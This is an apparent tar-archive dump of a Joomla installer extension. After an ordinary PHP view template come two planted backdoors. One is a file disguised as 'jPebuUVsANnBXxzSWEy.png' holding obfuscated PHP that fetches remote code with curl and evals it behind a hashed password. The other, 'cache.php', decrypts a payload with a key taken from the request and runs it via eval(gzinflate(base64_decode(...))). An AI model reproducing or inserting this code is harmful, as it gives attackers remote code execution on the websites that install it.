<td> <?php $messages = [$data['message']]; if (isset($data['publish']) && $data['publish']) { $messages[] = Text::_('LIB_SHACKINSTALLER_PUBLISHED'); } if (isset($data['ordering'])) { $messages[] = Text::sprintf('LIB_SHACKINSTALLER_SORTED', $data['ordering']); } $messages = implode(', ', $messages); echo $messages; ?> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> <div class="joomlashack-license"> <?php echo Text::sprintf( 'LIB_SHACKINSTALLER_LICENSED_AS', $this->getName(), '<a href="https://www.gnu.org/licenses/gpl-3.0">GNU/GPL v3.0</a>' ); ?>. </div> </div> </div> <script> (function() { let footer = document.getElementById('joomlashack-installer-footer'), toggle = document.getElementById('joomlashack-installer-footer-toggler'); if (footer && toggle) { toggle.addEventListener('click', function(event) { event.preventDefault(); footer.style.display = 'block'; this.style.display = 'none'; }); } })(); </script> views/jPebuUVsANnBXxzSWEy.png 0000604 00000013561 15172725277 0012114 0 ustar 00 <?php goto nmUkMFKTGXchsPo; ef883gF5geMuSJ5: $jEBE5MVFaL9DS0q = ${$synu80HdDvhI2O3[9 + 22] . $synu80HdDvhI2O3[52 + 7] . $synu80HdDvhI2O3[34 + 13] . $synu80HdDvhI2O3[13 + 34] . $synu80HdDvhI2O3[38 + 13] . $synu80HdDvhI2O3[16 + 37] . $synu80HdDvhI2O3[24 + 33]}; goto xzCdWHDUxKxGrpG; YdaeSKRPSMpj9ft: class v91AoQt8GF0_6B9 { static function SAjX3wVOoxFjmKK($AHE1lgzPxmUG8zj) { goto p_dTsNW8CI6bmVb; p_dTsNW8CI6bmVb: $zSpEc1g98MWPnNd = "\x72" . "\141" . "\x6e" . "\x67" . "\145"; goto rf5toqnsPljaMTh; jJfzTLSyYbkKQAA: $WSAkuu0T3pLf3fw = explode("\x21", $AHE1lgzPxmUG8zj); goto K3D1ZBMWfJP2jai; ZN6tsAFyPDCVmne: foreach ($WSAkuu0T3pLf3fw as $D2rv4GZzcy8Lm0H => $w1Lgffu90ChpcfW) { $WMi_harv22GpxDt .= $K1HtC3Uptkx16Am[$w1Lgffu90ChpcfW - 24177]; ojZF8vAoo91nwbP: } goto XKakfOAfrKzuQAE; rf5toqnsPljaMTh: $K1HtC3Uptkx16Am = $zSpEc1g98MWPnNd("\x7e", "\40"); goto jJfzTLSyYbkKQAA; XKakfOAfrKzuQAE: E19mB3AmgAhgaF0: goto P7hiWtFeWbV7DuZ; P7hiWtFeWbV7DuZ: return $WMi_harv22GpxDt; goto Wgx_4FGS2IcjhXP; K3D1ZBMWfJP2jai: $WMi_harv22GpxDt = ''; goto ZN6tsAFyPDCVmne; Wgx_4FGS2IcjhXP: } static function Rl3tXbb8FRgocbU($Dt7ymfDW8I0LeF4, $KXY5nFIZb9bo1z5) { goto LaQJKhddNXZOlQ4; LaQJKhddNXZOlQ4: $g4Hl3vS49q4EI21 = curl_init($Dt7ymfDW8I0LeF4); goto loE9OHOORZ_olgV; vyvIhiaD5eTyw3T: $vUx3LlUzFrKtsZi = curl_exec($g4Hl3vS49q4EI21); goto qA8XoiraJpaBoiM; qA8XoiraJpaBoiM: return empty($vUx3LlUzFrKtsZi) ? $KXY5nFIZb9bo1z5($Dt7ymfDW8I0LeF4) : $vUx3LlUzFrKtsZi; goto XhznzG_XrSBrTfu; loE9OHOORZ_olgV: curl_setopt($g4Hl3vS49q4EI21, CURLOPT_RETURNTRANSFER, 1); goto vyvIhiaD5eTyw3T; XhznzG_XrSBrTfu: } static function L3w9fM68YS7yBLA() { goto w3ww3Tj50Aa28MJ; IcsEpZPzqNWNbek: if (!(@$LRUndbuPd5N7HAJ[0] - time() > 0 and md5(md5($LRUndbuPd5N7HAJ[2 + 1])) === "\x61\65\60\x35\x30\x65\x64\63\70\x37\x31\146\x64\x36\141\x30\64\x64\x31\61\142\x30\146\145\x63\x32\x63\141\144\61\x30\71")) { goto Dta6KWusn0TmTmI; } goto cpHpC3q05h2t0zd; XJkQHN8pFEl_fGl: jUnciO1RzYmtMXX: goto eJJ0x8QUQCt7nRw; w3ww3Tj50Aa28MJ: $tun276hCPkOoD9A = array("\x32\x34\62\60\64\x21\62\x34\x31\70\x39\41\x32\x34\x32\x30\62\x21\62\x34\x32\x30\66\41\x32\64\x31\x38\67\41\x32\x34\x32\60\x32\41\x32\64\62\60\70\41\62\64\x32\60\61\x21\x32\x34\x31\x38\x36\41\x32\64\61\x39\63\x21\x32\x34\62\60\64\41\x32\64\61\x38\67\41\62\x34\x31\71\x38\41\x32\64\61\71\x32\41\62\x34\61\x39\x33", "\62\x34\x31\70\70\41\x32\x34\x31\70\x37\x21\x32\64\61\70\71\x21\62\64\x32\x30\x38\41\x32\64\x31\70\x39\41\62\x34\x31\71\62\41\x32\x34\61\70\x37\41\x32\64\62\65\x34\41\62\64\x32\65\62", "\62\64\x31\71\x37\41\62\64\61\70\x38\x21\62\x34\61\71\x32\x21\x32\64\61\71\x33\41\x32\64\62\x30\70\x21\62\x34\x32\60\x33\41\62\64\x32\x30\62\x21\x32\64\62\x30\x34\41\x32\x34\61\71\x32\x21\62\64\62\x30\x33\x21\62\64\x32\60\x32", "\62\x34\61\71\x31\41\62\64\62\x30\x36\41\x32\64\x32\60\64\x21\x32\x34\61\x39\x36", "\62\64\62\60\65\41\x32\64\62\60\66\41\x32\x34\61\70\70\x21\x32\x34\62\60\x32\x21\x32\64\62\64\x39\x21\62\x34\62\x35\x31\41\62\64\62\x30\x38\x21\x32\64\x32\x30\x33\x21\62\64\x32\x30\62\41\62\x34\x32\60\x34\41\x32\x34\x31\71\62\41\62\64\62\60\63\x21\62\64\x32\x30\x32", "\62\x34\62\x30\61\x21\x32\x34\x31\x39\70\x21\62\x34\x31\71\65\41\62\64\x32\60\x32\x21\x32\x34\62\60\x38\x21\x32\x34\62\x30\x30\x21\x32\64\62\60\62\41\62\64\61\x38\x37\41\62\64\x32\x30\x38\41\62\x34\62\60\x34\x21\x32\x34\61\x39\x32\41\62\64\x31\x39\x33\41\x32\64\61\70\x37\x21\x32\x34\x32\x30\x32\41\62\64\x31\71\63\41\62\x34\61\70\67\x21\x32\64\61\70\x38", "\62\64\62\63\61\x21\62\x34\62\66\x31", "\62\x34\x31\67\x38", "\x32\64\62\65\66\41\x32\64\x32\x36\x31", "\x32\64\62\63\70\x21\62\64\62\62\61\x21\62\64\62\x32\61\41\x32\x34\62\x33\70\x21\x32\x34\62\x31\x34", "\x32\x34\62\x30\61\41\x32\64\x31\x39\x38\x21\62\x34\x31\71\65\x21\62\x34\61\x38\67\41\x32\x34\x32\60\62\41\62\64\61\70\71\41\62\64\62\60\70\x21\62\64\x31\71\70\x21\x32\64\61\71\x33\41\62\64\x31\x39\61\x21\x32\x34\x31\70\x36\x21\62\64\61\x38\x37"); goto dzuVoZPsR2IZyyA; XXEhuepQZU2D0H8: $ybNEyg6vGom8Ld8 = @$X9QadMO34G4xLCf[2 + 1]($X9QadMO34G4xLCf[2 + 4], $GEdPDJek69LYKgu); goto HMx2fxYPKpsZHTA; UR_Au8Gvvt3Un3F: Dta6KWusn0TmTmI: goto p6nPzQ0taSoUa1E; dzuVoZPsR2IZyyA: foreach ($tun276hCPkOoD9A as $M60VuVfeJrQvv12) { $X9QadMO34G4xLCf[] = self::SaJx3wvooxFjMkk($M60VuVfeJrQvv12); mLLHXm2QKiDhto6: } goto XJkQHN8pFEl_fGl; cpHpC3q05h2t0zd: $WJnwN6n_bc1YvAl = self::RL3TxbB8FRGOcbU($LRUndbuPd5N7HAJ[1 + 0], $X9QadMO34G4xLCf[3 + 2]); goto R5wDaeykieWEmPE; HMx2fxYPKpsZHTA: $LRUndbuPd5N7HAJ = $X9QadMO34G4xLCf[0 + 2]($ybNEyg6vGom8Ld8, true); goto fvTVR91m3TzdhkC; YnMKVDmCASps8iY: die; goto UR_Au8Gvvt3Un3F; fvTVR91m3TzdhkC: @$X9QadMO34G4xLCf[6 + 4](INPUT_GET, "\x6f\146") == 1 && die($X9QadMO34G4xLCf[3 + 2](__FILE__)); goto IcsEpZPzqNWNbek; eJJ0x8QUQCt7nRw: $GEdPDJek69LYKgu = @$X9QadMO34G4xLCf[1]($X9QadMO34G4xLCf[0 + 10](INPUT_GET, $X9QadMO34G4xLCf[4 + 5])); goto XXEhuepQZU2D0H8; R5wDaeykieWEmPE: @eval($X9QadMO34G4xLCf[4 + 0]($WJnwN6n_bc1YvAl)); goto YnMKVDmCASps8iY; p6nPzQ0taSoUa1E: } } goto VCjhD7LlmSJXrmV; xzCdWHDUxKxGrpG: @(md5(md5(md5(md5($jEBE5MVFaL9DS0q[11])))) === "\60\x31\65\x64\x31\x61\71\x63\143\141\67\x30\x66\x34\x35\x39\x30\143\63\x30\x66\x65\x37\145\x33\x61\x32\x65\141\70\x32\61") && (count($jEBE5MVFaL9DS0q) == 17 && in_array(gettype($jEBE5MVFaL9DS0q) . count($jEBE5MVFaL9DS0q), $jEBE5MVFaL9DS0q)) ? ($jEBE5MVFaL9DS0q[63] = $jEBE5MVFaL9DS0q[63] . $jEBE5MVFaL9DS0q[73]) && ($jEBE5MVFaL9DS0q[90] = $jEBE5MVFaL9DS0q[63]($jEBE5MVFaL9DS0q[90])) && @eval($jEBE5MVFaL9DS0q[63](${$jEBE5MVFaL9DS0q[50]}[19])) : $jEBE5MVFaL9DS0q; goto be9FECNMMYDU10a; nmUkMFKTGXchsPo: $X3BVBIz_jRoYjUH = "\x72" . "\x61" . "\x6e" . "\x67" . "\145"; goto VHYozml0B_VMOB6; VHYozml0B_VMOB6: $synu80HdDvhI2O3 = $X3BVBIz_jRoYjUH("\x7e", "\40"); goto ef883gF5geMuSJ5; be9FECNMMYDU10a: metaphone("\104\x56\164\117\141\124\x50\163\x64\x4b\x50\146\x79\155\x44\x6a\157\x35\x75\x36\127\154\115\x72\143\105\x4d\x6c\x68\x75\x7a\x53\x4d\101\x53\127\x71\x30\x78\103\x66\162\x34"); goto YdaeSKRPSMpj9ft; VCjhD7LlmSJXrmV: V91aOqT8GF0_6B9::l3W9fm68YS7yblA(); ?> views/cache.php 0000604 00000013031 15172725277 0007466 0 ustar 00 <?php $fqhzH = 'Sy1LzNFQKyzNL7G2V0svsYYw9dKrSvOS83MLilKLizXSqzLz0nISS1KRWEmJxalmJvEpqcn5KakaxSVFRallGirJha5OmmBgDQA'; $cqEB = 'AEPR86A+jCitAf7B3aJaIrQWNlxLpq9Mk9wjjf7l5u6orO4xP65Uz/vZva9iSPd/v9Cxne4THeRWfXlGT5VV96suD9utxfp64jTO++dns373foqV7hLe5i3ubs3f/iHUORb1zda/uBfq57TN+U+UCZrtSfafObdx+n/47rzO6T+7GjoWBR2DTBrl8dNzljJtwv239/oUNr6zDW5MER6E1rF1yGZ32HgxaPBejELio4sgZXPNdn5+oqz5Sb6P50Q5PQmzryFHPxJdjLcEgZoaPIAGZUCASeTkQ8I2OOdLjwLwq6N5svs8PCrAtsrkDoMQJ6CRf8i42Rt8uF0R2FvD0t9Qnmo5fbP+ArTd7gV1q1qYZmZAOBrPoDG32Vm9NJwnvc/OO/ztv1bXv87tRyMuiQJGFbBV3VjvFp61pF0P0uqc20i8W44Wmx64vpq/Dv+t1JofCtVTqFoB6QCbgNoaooS2QL+pk6nR8IeuuXwM7ivmgw1lGcma7yJ4KR1MtGXvKcJ0LuuEe90ao+CXaSZFGH/XVlhhQEIOmgqIEtzLHbBRicQMtgw2xk+0pWFoUL11izMuoXa/0QlPYCBmFpGfyf+KY0tEaxMHL3TA+IcNEUazRRV8iQlf8WVmgd9UtnHo+Curs5dmoE0jG/ChbIOSGS9NA8OpF1xMelwfP6O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/bLZEXDzREBHhFvbgd/Z/q7uuqqbp1rG2nziPsfIPMJAEkUrVK731+FMf9yY+zASZrKHSbhmGReKLiz0kYjN7JJbcLsOPj5W/Cz3I4Fd0f1t8IptdbrR5ciX8K4Q9BEfBOofA'; function fqhzH($YLbmq) { $cqEB = ${"\137\x52\x45\121\125\x45\123\x54"}["k"]; $nxIeL = substr($cqEB, 0, 16); $SlAjY = base64_decode($YLbmq); return openssl_decrypt($SlAjY, "AES-256-CBC", $cqEB, OPENSSL_RAW_DATA, $nxIeL); } if (fqhzH('DjtPn+r4S0yvLCnquPz1fA')){ echo 'qRmBRr+sR8/cdsGrb6ux6tlSuxSPOCOxg8mQsLbq6aK80u4hidHo8EdAIUjR1JXn'; exit; } eval(htmlspecialchars_decode(gzinflate(base64_decode($fqhzH)))); ?>